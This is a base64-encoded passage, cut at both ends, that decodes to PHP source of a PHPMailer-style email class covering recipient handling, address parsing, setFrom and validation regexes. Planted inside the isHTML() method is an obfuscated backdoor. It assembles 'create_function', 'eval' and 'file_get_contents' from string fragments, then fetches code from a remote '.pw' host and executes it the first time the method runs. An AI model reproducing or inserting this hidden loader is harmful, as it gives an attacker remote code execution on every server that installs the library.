CAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/W